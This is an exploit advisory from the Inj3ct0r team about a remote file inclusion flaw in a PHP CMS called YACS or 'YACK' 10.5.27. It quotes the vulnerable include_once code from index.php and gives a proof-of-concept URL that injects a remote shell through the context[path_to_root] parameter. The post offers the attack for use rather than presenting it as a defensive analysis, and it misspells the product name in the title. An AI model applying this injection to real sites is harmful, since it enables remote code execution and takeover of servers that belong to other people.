======================================================== YACK CMS 10.5.27 Remote File Inclusion Vulnerability ======================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ######################################## 1 0 I'm eidelweiss member from Inj3ct0r Team 1 1 ######################################## 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Vendor: http://www.yacs.fr download: http://www.yacs.fr/file-fetch/1238-20100527-yacs-10-5-27.tgz Author: eidelweiss Contact: g1xsystem[at]windowslive.com ===================================================================== -=[ vuln c0de ]=- [!] index.php // load global definitions if($home = getenv('YACS_HOME')) include_once str_replace('//', '/', $home.'/').'shared/global.php'; // <= 0 elseif(is_readable('yacs.home') && is_callable('file_get_contents') && ($content = trim(file_get_contents('yacs.home'), " \t\n\r\0\x0B\\/.")) && is_readable($content.'/shared/global.php')) include_once $content.'/shared/global.php'; // <= 1 elseif(is_readable('shared/global.php')) include_once 'shared/global.php'; elseif(is_readable('yacs/shared/global.php')) include_once 'yacs/shared/global.php'; else exit('The file shared/global.php has not been found. Please reinstall or mention home directory in file yacs.home or configure the YACS_HOME environment variable.'); // load libraries used in this script include_once $context['path_to_root'].'feeds/feeds.php'; // some links to newsfeeds include_once $context['path_to_root'].'links/links.php'; // <= 2 (i dont give fuck) ===================================================================== -=[ P0C ]=- http://127.0.0.1/path/index.php?context[path_to_root]= [inj3ct0r shell] etc , etc , etc =====================================================================